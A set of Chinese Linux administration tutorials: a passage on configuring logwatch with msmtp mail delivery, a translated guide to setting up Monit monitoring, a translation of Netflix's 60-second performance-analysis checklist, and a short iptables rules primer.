默认采用的是sendmail（不是sendmail服务器），而且一般没什么问题。在我的环境下有点特殊，邮件服务器必须通过smtp认证才能发送邮件，不支持匿名和其他本地MTA投递的邮件，而sendmail我一直没有找到设置smtp用户和密码认证的地方（知道的烦请告知），所以就改用了mailer = "mailx -t"，然后在/etc/mail.rc中设置from、smtp、smtp-auth-user、smtp-auth-password、smtp-auth参数，但使用mailx带来的问题是后面设置邮件报告格式为html时，无法设置header信息从而foxmail不能解析html正文。尝试了 sendEmail 也没很好的解决。


大部分人情况可能没这么复杂，其实就是一个发件客户端的功能，网上得知有 mutt 结合 msmtp 可以解决该问题：


# yum install -y mutt       //mutt其实可以不安装
# tar jxvf msmtp-1.4.16.tar.bz2 && cd msmtp-1.4.16
# ./configure && make && make install

# vi ~/.msmtprc 
  account default
  host your.smtp-server.com
  from username@smtp-server.com
  auth login
  user username
  password your_auth_pwd
  logfile ~/msmtp.log

# 如果使用mutt发送，还需要设置~/.muttrc



将 mailer 改成mailer = "msmtp -t"。


输出格式


Output = <mail, html or unformatted>



默认不指定输出格式（plain text）,系统管理员通过邮件客户端（如foxmail）看到的邮件内容是文本形式，比较简单、节省带宽；可以指定为html，此时看到的是可点击链接的友好的页面。


当同时设定了Save = /tmp/logwatch时，便不会发送邮件报告了，将会根据Output指定的格式保存到一个Save文件中。





另外在有的文章里指定Format选项，经过本人试验在7.3.6版本中无效。


收集日志的范围


Range = <Yesterday|Today|All>



Range配置指令定义了生成 logwatch 报告的时间段信息。这个指令通常可选的值是 Yesterday、Today、All。当作用了Rang = All时，Archive = yes 这个指令项也必须配置上，那么所有的已存档的日志文件 (比如，/var/log/maillog、/var/log/maillog-20150111)都会被处理到。


如果我们是通过 crontab 每天收集的话，可以只报告昨天或今天的日志情况。


收集哪些服务的日志


Service = <service-name-1>
Service = <service-name-2>
. . .



Service选项指定想要监控的一个或多个服务。在/usr/share/logwatch/scripts/services目录下列出的服务都能被监控，它们已经涵盖了重要的系统服务（例如：pam,secure,iptables,syslogd 等），也涵盖了一些像 sudo、sshd、http、fail2ban、samba等主流的应用服务。如果您想添加新的服务到列表中，得编写一个相应的日志处理 Perl 脚本，并把它放在这个目录中。



对于一个综合日志分析工具，logwatch推荐大多数人使用Service = "All"，然后通过继续添加Service = "-service_name"等来去掉那些不监控的日志。当然在服务器上，并不是所有script下的服务都有启动，有些并没有日志。


命令行指定logwatch选项


如果您不想个性化 /etc/logwatch/conf/logwatch.conf，您可以不修改此文件让其默认，然后在命令行里运行如下所示的命令：


# logwatch --detail 10 --mailto youremailaddress@yourdomain.com --range today \
>  --service sshd --service postfix --service zz-disk_space --service -zz-network \
> --output mail 



logwatch.conf完整示例


LogDir = /var/log
TmpDir = /var/cache/logwatch
Print = No

Range = yesterday
Detail = High

MailTo = zhouxiao@example.com
MailFrom = itsection@example.com
mailer = "msmtp -t"
Output = html

Service = All
Service = "-zz-network" 
Service = "-zz-sys"
Service = "-eximstats" 




3. 扩展


3.1 cron daily


我们可以看到在 crontab 定时任务设定目录下存在/etc/cron.daily/0logwatch：


#!/bin/bash

DailyReport=`grep -e "^[[:space:]]*DailyReport[[:space:]]*=[[:space:]]*" /usr/share/logwatch/default.conf/logwatch.conf | head -n1 | sed -e "s|^\s*DailyReport\s*=\s*||"`

if [ "$DailyReport" != "No" ] && [ "$DailyReport" != "no" ]
then
    logwatch
fi



如果在logwatch.conf中显式设置了选项DailyReport = No，则会取消logwatch每日执行任务。如果你要修改cron.daily的执行时间，可以删掉这个0logwatch然后添加到/etc/crontab里，或者修改/etc/anacrontab的START_HOURS_RANGE。


所以 logwatch 的工作不是监控日志异常后及时报警的工具，因为默认它是每天一封整合的邮件，并不具有及时性（安装perl的CPAN模块后可以更精确的控制logwatch时间，详见第一份参考）。


3.2 定制自己要监控的日志


用一个简单的例子介绍自定义logwatch的配置方法。


首先创建logwatch日志文件组
/etc/logwatch/conf/logfiles/test.conf：


LogFile = /path/to/your/logfile
LogFile = /path/to/your/second/logfile



然后创建logwatch服务配置文件
/etc/logwatch/conf/services/test.conf：


Title = test title     # 日志文件里的标题
LogFile = test   # logwatch日志文件组的名字，通常是对应的配置文件的文件名部分



创建logwatch服务过滤器脚本
/etc/logwatch/scripts/services/test：


#!/bin/bash

grep -i ERROR



上面的脚本会从日志文件里过滤出包含ERROR的行。最后，为新建的脚本添加执行权限:


chmod +x /etc/logwatch/scripts/services/test



参考



	
Linux 系统中使用 logwatch 监控日志文件 （英文）

	LogWatch Introduction

	Managing your log files

	Logwatch简单配置教程





原文链接地址：http://seanlook.com/2014/08/23/linux-logwatch-usage/
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很多Linux系统管理员依赖一个集中式的远程监控系统（比如Nagios或者Cacti）来检查他们网络基础设备的健康状况。虽然集中式监控让管理员的生活更简单了，然而处理很多机器和服务时，专用的监控中心显然成为了一个单点故障，如果监控中心挂了或者因为什么原因（比如硬件或者网络故障）不可访问了，你就会失去整个网络基础设备情况的任何信息。


一个给你的监控系统增加冗余度的方法是安装独立的监控软件（作为后备），至少在网络中的关键/核心服务器上。这样在集中式监控系统挂掉的情况，你还有能力通过后备的监控方式来获取核心服务器的运行状况。


Monit是什么？


Monit是一个跨平台的用来监控Unix/linux系统（比如Linux、BSD、OSX、Solaris）的工具。Monit特别易于安装，而且非常轻量级（只有500KB大小），并且不依赖任何第三方程序、插件或者库。然而，Monit可以胜任全面监控、进程状态监控、文件系统变动监控、邮件通知和对核心服务的自定义动作等场景。易于安装、轻量级的实现以及强大的功能，让Monit成为一个理想的后备监控工具。


我已经在一些机器使用Monit几年了，而且我对它的可靠性非常满意。甚至作为全面的监控系统，对任何Linux系统管理员来说Monit也是非常有用和强大的。在这篇教程中，我会展示如何在一个本地服务器部署Monit（作为后备监控系统）来监控常见的服务。在部署过程中，我只会展示我们用到的部分。


在Linux安装Monit


Monit已经被包含在多数Linux发行版的软件仓库中了。


Debian、Ubuntu或者Linux Mint：


$ sudo aptitude install monit



Fedora或者CentOS/RHEL：


在CentOS/RHEL中，你必须首先启用EPEL或者Repoforge软件仓库.


# yum install monit



Monit自带一个文档完善的配置文件，其中包含了很多例子。主配置文件在/etc/monit.conf（Fedora/CentOS/RHEL 中），或者/etc/monit/monitrc（Debian/Ubuntu/Mint 中）。Monit配置文件有两部分：“Global”（全局）和“Services”（服务）。


Global Configuration: Web Status Page （全局配置：Web状态页面）


Monit可以使用邮件服务来发送通知，也可以使用HTTP/HTTPS页面来展示。我们先使用如下配置的web状态页面吧：



	Monit监听1966端口。

	对web状态页面的访问是通过SSL加密的。

	使用monituser/romania作为用户名/口令登录。

	只允许通过localhost、myhost.mydomain.ro和在局域网内部（192.168.0.0/16）访问。

	Monit使用pem格式的SSL证书。



之后的步骤，我会使用一个基于Red Hat的系统。在基于Debian的系统中的步骤也是类似的。


首先，在/var/cert生成一个自签名的证书（monit.pem）：


# mkdir /var/certs
# cd /etc/pki/tls/certs
# ./make-dummy-cert monit.pem
# cp monit.pem /var/certs
# chmod 0400 /var/certs/monit.pem 



现在将下列代码片段放到Monit的主配置文件中。你可以创建一个空配置文件，或者基于自带的配置文件修改。


set httpd port 1966 and
     SSL ENABLE
     PEMFILE  /var/certs/monit.pem
     allow monituser:romania
     allow localhost
     allow 192.168.0.0/16
     allow myhost.mydomain.ro



Global Configuration: Email Notification （全局配置：邮件通知）


然后，我们来设置Monit的邮件通知。我们至少需要一个可用的SMTP服务器来让Monit发送邮件。这样就可以（按照你的实际情况修改）：



	邮件服务器的机器名：smtp.monit.ro

	Monit使用的发件人：monit@monit.ro

	邮件的收件人：guletz@monit.ro

	邮件服务器使用的SMTP端口：587（默认是25）



有了以上信息，邮件通知就可以这样配置：


set mailserver  smtp.monit.ro port 587
set mail-format {
 from: monit@monit.ro
 subject: $SERVICE $EVENT at $DATE on $HOST
 message: Monit $ACTION $SERVICE $EVENT at $DATE on $HOST : $DESCRIPTION.

       Yours sincerely,
          Monit

  }

set alert guletz@monit.ro



就像你看到的，Monit会提供几个内部变量（$DATE、$EVENT、$HOST等），你可以按照你的需求自定义邮件内容。如果你想要从Monit所在机器发送邮件，就需要一个已经安装的与sendmail兼容的程序（如postfix或者ssmtp）。


Global Configuration: Monit Daemon （全局配置：Monit守护进程）


接下来就该配置Monit守护进程了。可以将其设置成这样：



	在120秒后进行第一次检测。

	每3分钟检测一次服务。

	使用syslog来记录日志。



如下代码段可以满足上述需求。


set daemon 120
   with start delay 240
set logfile syslog facility log_daemon



我们必须定义“idfile”，Monit守护进程的一个独一无二的ID文件；以及“eventqueue”，当monit的邮件因为SMTP或者网络故障发不出去，邮件会暂存在这里；以及确保/var/monit路径是存在的。然后使用下边的配置就可以了。


set idfile /var/monit/id
set eventqueue
     basedir /var/monit



测试全局配置


现在“Global”部分就完成了。Monit配置文件看起来像这样：


#  Global Section

# status webpage and acl's
set httpd port 1966 and
     SSL ENABLE
     PEMFILE  /var/certs/monit.pem
     allow monituser:romania
     allow localhost
     allow 192.168.0.0/16
     allow myhost.mydomain.ro

# mail-server
set mailserver  smtp.monit.ro port 587
# email-format
set mail-format {
 from: monit@monit.ro
 subject: $SERVICE $EVENT at $DATE on $HOST
 message: Monit $ACTION $SERVICE $EVENT at $DATE on $HOST : $DESCRIPTION.

       Yours sincerely,
          Monit

  }

set alert guletz@monit.ro

# delay checks
set daemon 120
   with start delay 240
set logfile syslog facility log_daemon

# idfile and mail queue path
set idfile /var/monit/id
 set eventqueue
     basedir /var/monit



现在是时候验证我们的工作了，你可以通过运行如下命令来验证存在的配置文件（/etc/monit.conf）：


# monit -t

Control file syntax OK



如果monit提示任何错误，请再检查下配置文件。幸运的是，错误/警告信息是可以帮助你发现问题的，比如：


monit: Cannot stat the SSL server PEM file '/var/certs/monit.pem' -- No such file or directory
/etc/monit/monitrc:10: Warning: hostname did not resolve 'smtp.monit.ro'



一旦你确认配置文件没问题了，可以启动monit守护进程，然后等2到3分钟：


# service monit start



如果你使用的是systemd，运行：


# systemctl start monit



现在打开一个浏览器窗口，然后访问https://<monit_host>:1966。将<monit_host>替换成Monit所在机器的机器名或者IP地址。


如果你使用的是自签名的SSL证书，你会在浏览器中看到一个警告信息。继续访问即可。





你完成登录后，就会看到这个页面。





在这个教程的其余部分，我们演示监控一个本地服务器和常见服务的方法。你会在官方wiki页面看到很多有用的例子。其中的多数是可以直接复制粘贴的！


Service Configuration: CPU/Memory Monitoring （服务配置：CPU、内存监控）


我们先来监控本地服务器的CPU、内存占用。复制如下代码段到配置文件中。


check system localhost
    if loadavg (1min) > 10 then alert
    if loadavg (5min) > 6 then alert
    if memory usage > 75% then alert
    if cpu usage (user) > 70% then alert
    if cpu usage (system) > 60% then alert
    if cpu usage (wait) > 75% then alert



你可以很容易理解上边的配置。最上边的check是指每个监控周期（全局配置里设置的120秒）都对本机进行下面的操作。如果满足了任何条件，monit守护进程就会使用邮件发送一条报警。


如果某个监控项不需要每个周期都检查，可以使用如下格式，它会每240秒检查一次平均负载。


if loadavg (1min) > 10 for 2 cycles then alert



Service Configuration: SSH Service Monitoring （服务配置：SSH服务监控）


先检查我们的sshd是否安装在/usr/sbin/sshd：


check file sshd_bin with path /usr/sbin/sshd



我们还想检查sshd的启动脚本是否存在：


check file sshd_init with path /etc/init.d/sshd



最后，我们还想检查sshd守护进程是否存活，并且在监听22端口：


check process sshd with pidfile /var/run/sshd.pid
   start program  "/etc/init.d/sshd start"
   stop program  "/etc/init.d/sshd stop"
   if failed port 22 protocol ssh then restart
   if 5 restarts within 5 cycles then timeout



我们可以这样解释上述配置：我们检查是否存在名为sshd的进程，并且有一个保存其pid的文件存在（/var/run/sshd.pid）。如果任何一个不存在，我们就使用启动脚本重启sshd。我们检查是否有进程在监听22端口，并且使用的是SSH协议。如果没有，我们还是重启sshd。如果在最近的5个监控周期（5x120秒）至少重启5次了，sshd就被认为是不能用的，我们就不再检查了。





Service Configuration: SMTP Service Monitoring （服务配置：SMTP服务监控）


现在我们来设置一个检查远程SMTP服务器（如192.168.111.102）的监控。假定SMTP服务器运行着SMTP、IMAP、SSH服务。


check host MAIL with address 192.168.111.102
   if failed icmp type echo within 10 cycles then alert
   if failed port 25  protocol smtp then alert
             else if recovered then exec "/scripts/mail-script"
   if failed port 22  protocol ssh  then alert
   if failed port 143 protocol imap then alert



我们检查远程主机是否响应ICMP协议。如果我们在10个周期内没有收到ICMP回应，就发送一条报警。如果监测到25端口上的SMTP协议是异常的，就发送一条报警。如果在一次监测失败后又监测成功了，就运行一个脚本（/scripts/mail-script）。如果检查22端口上的SSH或者143端口上的IMAP协议不正常，同样发送报警。


总结


在这个教程，我演示了如何在本地服务器设置Monit，当然这只是Monit功能的冰山一角。你可以花些时间阅读Monit的man手册（写得很好）。Monit可以为任何Linux系统管理员做很多事情，并且具有非常优美和易于理解的语法。如果你将一个集中式的远程监控系统和Monit一同使用，你会得到一个更可靠的监控系统。你感觉Monit怎么样？




via: http://xmodulo.com/server-monitoring-system-monit.html


作者：Iulian Murgulet

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出


 [译]Linux性能分析的前60000毫秒

作者：spacewander

来源： [译]Linux性能分析的前60000毫秒



                    
原文链接：http://techblog.netflix.com/2015/11/linux-performance-analysis-in-60s.html
作者是Brendan Gregg， Oracle/Linux系统性能分析方面的大牛。

Linux性能分析的前60000毫秒

为了解决性能问题，你登入了一台Linux服务器，在最开始的一分钟内需要查看什么？

在Netflix我们有一个庞大的EC2 Linux集群，还有非常多的性能分析工具来监控和调查它的性能。其中包括用于云监控的Atlas，用于实例按需分析的Vector。即使这些工具帮助我们解决了大多数问题，我们有时还是得登入Linux实例，运行一些标准的Linux性能工具来解决问题。

在这篇文章里，Netflix Performance Engineering团队将使用居家常备的Linux标准命令行工具，演示在性能调查最开始的60秒里要干的事，

最开始的60秒......

运行下面10个命令，你可以在60秒内就对系统资源的使用情况和进程的运行状况有大体上的了解。无非是先查看错误信息和饱和指标，再看下资源的使用量。这里“饱和”的意思是，某项资源供不应求，已经造成了请求队列的堆积，或者延长了等待时间。

uptime
dmesg | tail
vmstat 1
mpstat -P ALL 1
pidstat 1
iostat -xz 1
free -m
sar -n DEV 1
sar -n TCP,ETCP 1
top

有些命令需要你安装sysstat包。（译注：指mpstat, pidstat, iostat和sar，用包管理器直接安装sysstat即可） 这些命令所提供的指标能够帮助你实践USE方法：这是一种用于定位性能瓶颈的方法论。你可以以此检查所有资源（CPU，内存，硬盘，等等）的使用量，是否饱和，以及是否存在错误。同时请留意上一次检查正常的时刻，这将帮助你减少待分析的对象，并指明调查的方向。（译注：USE方法，就是检查每一项资源的使用量（utilization）、饱和（saturation）、错误（error））

接下来的章节里我们将结合实际例子讲解这些命令。如果你想了解更多的相关信息，请查看它们的man page。

1. uptime

$ uptime
 23:51:26 up 21:31,  1 user,  load average: 30.02, 26.43, 19.02

这个命令显示了要运行的任务（进程）数，通过它能够快速了解系统的平均负载。在Linux上，这些数值既包括正在或准备运行在CPU上的进程，也包括阻塞在uninterruptible I/O（通常是磁盘I/O）上的进程。它展示了资源负载（或需求）的大致情况，不过进一步的解读还有待其它工具的协助。对它的具体数值不用太较真。

最右的三个数值分别是1分钟、5分钟、15分钟系统负载的移动平均值。它们共同展现了负载随时间变动的情况。举个例子，假设你被要求去检查一个出了问题的服务器，而它最近1分钟的负载远远低于15分钟的负载，那么你很可能已经扑了个空。

在上面的例子中，负载均值最近呈上升态势，其中1分钟值高达30，而15分钟值仅有19。这种现象有许多种解释，很有可能是对CPU的争用；该系列的第3个和第4个命令——vmstat和mpstat——可以帮助我们进一步确定问题所在。

2. dmesg | tail

$ dmesg | tail
[1880957.563150] perl invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[...]
[1880957.563400] Out of memory: Kill process 18694 (perl) score 246 or sacrifice child
[1880957.563408] Killed process 18694 (perl) total-vm:1972392kB, anon-rss:1953348kB, file-rss:0kB
[2320864.954447] TCP: Possible SYN flooding on port 7001. Dropping request.  Check SNMP counters.

这个命令显示了最新的10个系统信息，如果有的话。注意会导致性能问题的错误信息。上面的例子里就包括对过多占用内存的某进程的死刑判决，还有丢弃TCP请求的公告。

不要漏了这一步！检查dmesg总是值得的。

3. vmstat 1

$ vmstat 1
procs ---------memory---------- ---swap-- -----io---- -system-- ------cpu-----
 r  b swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
34  0    0 200889792  73708 591828    0    0     0     5    6   10 96  1  3  0  0
32  0    0 200889920  73708 591860    0    0     0   592 13284 4282 98  1  1  0  0
32  0    0 200890112  73708 591860    0    0     0     0 9501 2154 99  1  0  0  0
32  0    0 200889568  73712 591856    0    0     0    48 11900 2459 99  0  0  0  0
32  0    0 200890208  73712 591860    0    0     0     0 15898 4840 98  1  1  0  0
^C

vmstat(8)，是“virtual memory stat”的简称，几十年前就已经包括在BSD套件之中，一直以来都是居家常备的工具。它会逐行输出服务器关键数据的统计结果。

通过指定1作为vmstat的输入参数，它会输出每一秒内的统计结果。（在我们当前使用的）vmstat输出的第一行数据是从启动到现在的平均数据，而不是前一秒的数据。所以我们可以跳过第一行，看看后面几行的情况。

检查下面各列：

r：等待CPU的进程数。该指标能更好地判定CPU是否饱和，因为它不包括I/O。简单地说，r值高于CPU数时就意味着饱和。

free：空闲的内存千字节数。如果你数不清有多少位，就说明系统内存是充足的。接下来要讲到的第7个命令，free -m，能够更清楚地说明空闲内存的状态。

si，so：Swap-ins和Swap-outs。如果它们不为零，意味着内存已经不足，开始动用交换空间的存粮了。

us，sy，id，wa，st：它们是所有CPU的使用百分比。它们分别表示user time，system time（处于内核态的时间），idle，wait I/O和steal time（被其它租户，或者是租户自己的Xen隔离设备驱动域（isolated driver domain），所占用的时间）。

通过相加us和sy的百分比，你可以确定CPU是否处于忙碌状态。一个持续不变的wait I/O意味着瓶颈在硬盘上，这种情况往往伴随着CPU的空闲，因为任务都卡在磁盘I/O上了。你可以把wait I/O当作CPU空闲的另一种形式，它额外给出了CPU空闲的线索。

I/O处理同样会消耗系统时间。一个高于20%的平均系统时间，往往值得进一步发掘：也许系统花在I/O的时太长了。

在上面的例子中，CPU基本把时间花在用户态里面，意味着跑在上面的应用占用了大部分时间。此外，CPU平均使用率在90%之上。这不一定是个问题；检查下“r”列，看看是否饱和了。

4. mpstat -P ALL 1

$ mpstat -P ALL 1
Linux 3.13.0-49-generic (titanclusters-xxxxx)  07/14/2015  _x86_64_ (32 CPU)

07:38:49 PM  CPU   %usr  %nice   %sys %iowait   %irq  %soft  %steal  %guest  %gnice  %idle
07:38:50 PM  all  98.47   0.00   0.75    0.00   0.00   0.00    0.00    0.00    0.00   0.78
07:38:50 PM    0  96.04   0.00   2.97    0.00   0.00   0.00    0.00    0.00    0.00   0.99
07:38:50 PM    1  97.00   0.00   1.00    0.00   0.00   0.00    0.00    0.00    0.00   2.00
07:38:50 PM    2  98.00   0.00   1.00    0.00   0.00   0.00    0.00    0.00    0.00   1.00
07:38:50 PM    3  96.97   0.00   0.00    0.00   0.00   0.00    0.00    0.00    0.00   3.03
[...]

这个命令显示每个CPU的时间使用百分比，你可以用它来检查CPU是否存在负载不均衡。单个过于忙碌的CPU可能意味着整个应用只有单个线程在工作。

5. pidstat 1

$ pidstat 1
Linux 3.13.0-49-generic (titanclusters-xxxxx)  07/14/2015    _x86_64_    (32 CPU)

07:41:02 PM   UID       PID    %usr %system  %guest    %CPU   CPU  Command
07:41:03 PM     0         9    0.00    0.94    0.00    0.94     1  rcuos/0
07:41:03 PM     0      4214    5.66    5.66    0.00   11.32    15  mesos-slave
07:41:03 PM     0      4354    0.94    0.94    0.00    1.89     8  java
07:41:03 PM     0      6521 1596.23    1.89    0.00 1598.11    27  java
07:41:03 PM     0      6564 1571.70    7.55    0.00 1579.25    28  java
07:41:03 PM 60004     60154    0.94    4.72    0.00    5.66     9  pidstat

07:41:03 PM   UID       PID    %usr %system  %guest    %CPU   CPU  Command
07:41:04 PM     0      4214    6.00    2.00    0.00    8.00    15  mesos-slave
07:41:04 PM     0      6521 1590.00    1.00    0.00 1591.00    27  java
07:41:04 PM     0      6564 1573.00   10.00    0.00 1583.00    28  java
07:41:04 PM   108      6718    1.00    0.00    0.00    1.00     0  snmp-pass
07:41:04 PM 60004     60154    1.00    4.00    0.00    5.00     9  pidstat
^C

pidstat看上去就像top，不过top的输出会覆盖掉之前的输出，而pidstat的输出则添加在之前的输出的后面。这有利于观察数据随时间的变动情况，也便于把你看到的内容复制粘贴到调查报告中。

上面的例子表明，CPU主要消耗在两个java进程上。%CPU列是在各个CPU上的使用量的总和；1591%意味着java进程消耗了将近16个CPU。

6. iostat -xz 1

$ iostat -xz 1
Linux 3.13.0-49-generic (titanclusters-xxxxx)  07/14/2015  _x86_64_ (32 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
          73.96    0.00    3.73    0.03    0.06   22.21

Device:   rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %util
xvda        0.00     0.23    0.21    0.18     4.52     2.08    34.37     0.00    9.98   13.80    5.42   2.44   0.09
xvdb        0.01     0.00    1.02    8.94   127.97   598.53   145.79     0.00    0.43    1.78    0.28   0.25   0.25
xvdc        0.01     0.00    1.02    8.86   127.79   595.94   146.50     0.00    0.45    1.82    0.30   0.27   0.26
dm-0        0.00     0.00    0.69    2.32    10.47    31.69    28.01     0.01    3.23    0.71    3.98   0.13   0.04
dm-1        0.00     0.00    0.00    0.94     0.01     3.78     8.00     0.33  345.84    0.04  346.81   0.01   0.00
dm-2        0.00     0.00    0.09    0.07     1.35     0.36    22.50     0.00    2.55    0.23    5.62   1.78   0.03
[...]
^C

这个命令可以弄清块设备（磁盘）的状况，包括工作负载和处理性能。注意以下各项：

r/s，w/s，rkB/s，wkB/s：分别表示每秒设备读次数，写次数，读的KB数，写的KB数。它们描述了磁盘的工作负载。也许性能问题就是由过高的负载所造成的。

await：I/O平均时间，以毫秒作单位。它是应用中I/O处理所实际消耗的时间，因为其中既包括排队用时也包括处理用时。如果它比预期的大，就意味着设备饱和了，或者设备出了问题。

avgqu-sz：分配给设备的平均请求数。大于1表示设备已经饱和了。（不过有些设备可以并行处理请求，比如由多个磁盘组成的虚拟设备）

%util：设备使用率。这个值显示了设备每秒内工作时间的百分比，一般都处于高位。低于60%通常是低性能的表现（也可以从await中看出），不过这个得看设备的类型。接近100%通常意味着饱和。

如果某个存储设备是由多个物理磁盘组成的逻辑磁盘设备，100%的使用率可能只是意味着I/O占用

请牢记于心，disk I/O性能低不一定是个问题。应用的I/O往往是异步的（比如预读（read-ahead）和写缓冲（buffering for writes）），所以不一定会被阻塞并遭受延迟。

7. free -m

$ free -m
             total       used       free     shared    buffers     cached
Mem:        245998      24545     221453         83         59        541
-/+ buffers/cache:      23944     222053
Swap:            0          0          0

右边的两列显示：
buffers：用于块设备I/O的缓冲区缓存
cached：用于文件系统的页缓存
它们的值接近于0时，往往导致较高的磁盘I/O（可以通过iostat确认）和糟糕的性能。上面的例子里没有这个问题，每一列都有好几M呢。

比起第一行，-/+ buffers/cache提供的内存使用量会更加准确些。Linux会把暂时用不上的内存用作缓存，一旦应用需要的时候立刻重新分配给它。所以部分被用作缓存的内存其实也算是空闲内存，第二行以此修订了实际的内存使用量。为了解释这一点， 甚至有人专门建了个网站： linuxatemyram。

如果你在Linux上安装了ZFS，正如我们在一些服务上所做的，这一点会变得更加迷惑，因为ZFS它自己的文件系统缓存不算入free -m。有时系统看上去已经没有多少空闲内存可用了，其实内存都待在ZFS的缓存里呢。

8. sar -n DEV 1

$ sar -n DEV 1
Linux 3.13.0-49-generic (titanclusters-xxxxx)  07/14/2015     _x86_64_    (32 CPU)

12:16:48 AM     IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil
12:16:49 AM      eth0  18763.00   5032.00  20686.42    478.30      0.00      0.00      0.00      0.00
12:16:49 AM        lo     14.00     14.00      1.36      1.36      0.00      0.00      0.00      0.00
12:16:49 AM   docker0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00

12:16:49 AM     IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil
12:16:50 AM      eth0  19763.00   5101.00  21999.10    482.56      0.00      0.00      0.00      0.00
12:16:50 AM        lo     20.00     20.00      3.25      3.25      0.00      0.00      0.00      0.00
12:16:50 AM   docker0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00
^C

这个命令可以用于检查网络流量的工作负载：rxkB/s和txkB/s，以及它是否达到限额了。上面的例子中，eth0接收的流量达到22Mbytes/s，也即176Mbits/sec（限额是1Gbit/sec）

我们用的版本中还提供了%ifutil作为设备使用率（接收和发送两者中的最大值）的指标。我们也可以用Brendan的nicstat计量这个值。一如nicstat，sar显示的这个值不一定是对的，在这个例子里面就没能正常工作（0.00）。

9. sar -n TCP,ETCP 1

$ sar -n TCP,ETCP 1
Linux 3.13.0-49-generic (titanclusters-xxxxx)  07/14/2015    _x86_64_    (32 CPU)

12:17:19 AM  active/s passive/s    iseg/s    oseg/s
12:17:20 AM      1.00      0.00  10233.00  18846.00

12:17:19 AM  atmptf/s  estres/s retrans/s isegerr/s   orsts/s
12:17:20 AM      0.00      0.00      0.00      0.00      0.00

12:17:20 AM  active/s passive/s    iseg/s    oseg/s
12:17:21 AM      1.00      0.00   8359.00   6039.00

12:17:20 AM  atmptf/s  estres/s retrans/s isegerr/s   orsts/s
12:17:21 AM      0.00      0.00      0.00      0.00      0.00
^C

这个命令显示一些关键TCP指标的汇总。其中包括：
active/s：本地每秒创建的TCP连接数（比如concept()创建的）
passive/s：远程每秒创建的TCP连接数（比如accept()创建的）
retrans/s：每秒TCP重传次数

主动连接数（active）和被动连接数（passive）通常可以用来粗略地描述系统负载。可以认为主动连接是对外的，而被动连接是对内的，虽然严格来说不完全是这个样子。（比如，一个从localhost到localhost的连接）

重传是网络或系统问题的一个信号；它可能是不可靠的网络（比如公网）所造成的，也有可能是服务器已经过载并开始丢包。在上面的例子中，每秒只创建一个新的TCP连接。

10. top

$ top
top - 00:15:40 up 21:56,  1 user,  load average: 31.09, 29.87, 29.92
Tasks: 871 total,   1 running, 868 sleeping,   0 stopped,   2 zombie
%Cpu(s): 96.8 us,  0.4 sy,  0.0 ni,  2.7 id,  0.1 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:  25190241+total, 24921688 used, 22698073+free,    60448 buffers
KiB Swap:        0 total,        0 used,        0 free.   554208 cached Mem

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 20248 root      20   0  0.227t 0.012t  18748 S  3090  5.2  29812:58 java
  4213 root      20   0 2722544  64640  44232 S  23.5  0.0 233:35.37 mesos-slave
 66128 titancl+  20   0   24344   2332   1172 R   1.0  0.0   0:00.07 top
  5235 root      20   0 38.227g 547004  49996 S   0.7  0.2   2:02.74 java
  4299 root      20   0 20.015g 2.682g  16836 S   0.3  1.1  33:14.42 java
     1 root      20   0   33620   2920   1496 S   0.0  0.0   0:03.82 init
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.02 kthreadd
     3 root      20   0       0      0      0 S   0.0  0.0   0:05.35 ksoftirqd/0
     5 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 kworker/0:0H
     6 root      20   0       0      0      0 S   0.0  0.0   0:06.94 kworker/u256:0
     8 root      20   0       0      0      0 S   0.0  0.0   2:38.05 rcu_sched
    

top命令包括很多我们之前检查过的指标。它适合用来查看相比于之前的命令输出的结果，负载有了哪些变动。

不能清晰显示数据随时间变动的情况，这是top的一个缺点。相较而言，vmstat和pidstat的输出不会覆盖掉之前的结果，因此更适合查看数据随时间的变动情况。另外，如果你不能及时暂停top的输出（Ctrl-s暂停，Ctrl-q继续），也许某些关键线索会湮灭在新的输出中。

在这之后...

有很多工具和方法论有助于你深入地发掘问题。Brendan在2015年Velocity大会上的Linux Performance Tools tutorial中列出超过40个命令，覆盖了观测、基准测试、调优、静态性能调优、分析（profile），和追踪（tracing）多个方面。
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1. 普通规则


1.1 操作规则



	
iptables -nL

查看本机关于iptables的设置情况，默认查看的是-t filter，可以指定-t nat


	iptables-save > iptables.rule

会保存当前的防火墙规则设置，命令行下通过iptables配置的规则在下次重启后会失效，当然这也是为了防止错误的配置防火墙。默认读取和保存的配置文件地址为/etc/sysconfig/iptables。


	设置chain默认策略




    iptables -P INPUT DROP
    iptables -P FORWARD ACCEPT
    iptables -P OUTPUT ACCEPT



将 INPUT 链默认处理策略设置为DROP，前提是已经存在一条可以访问22端口的规则。这里要说明的是，在添加这类拒绝访问的规则之前，一定要想好执行完，会不会把自己关在防火墙外面，不然就傻眼了。像下面这句。


1.2 限制访问规则



	iptables -I INPUT 1 -m state --state RELATED,ESTABLISHED -j ACCEPT

把这条语句插在input链的最前面（第一条），对状态为ESTABLISHED,RELATED的连接放行。

这条规则在某种情况下甚至比下面开放ssh服务都重要：① 如果INPUT连默认为DROP，② INPUT链默认为INPUT，但存在这条规则-A INPUT -j REJECT --reject-with icmp-host-prohibited，上面两种情况下都必须添加--state RELATED,ESTABLISHED为第一条，否则22端口无法通行，把自己锁在防火墙外面了。

有了这条规则，可保证只要当前ssh没有关闭，哪怕防火墙忘记开启22端口，也可以继续连接。


	iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

允许所有，不安全，默认。


	iptables -A INPUT -s 172.29.73.0/24 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

限制指定IP范围能SSH，可取


	iptables -A INPUT -s 10.30.0.0/16 -p tcp -m tcp -m multiport --dports 80,443 -j ACCEPT

允许一个IP段访问多个端口


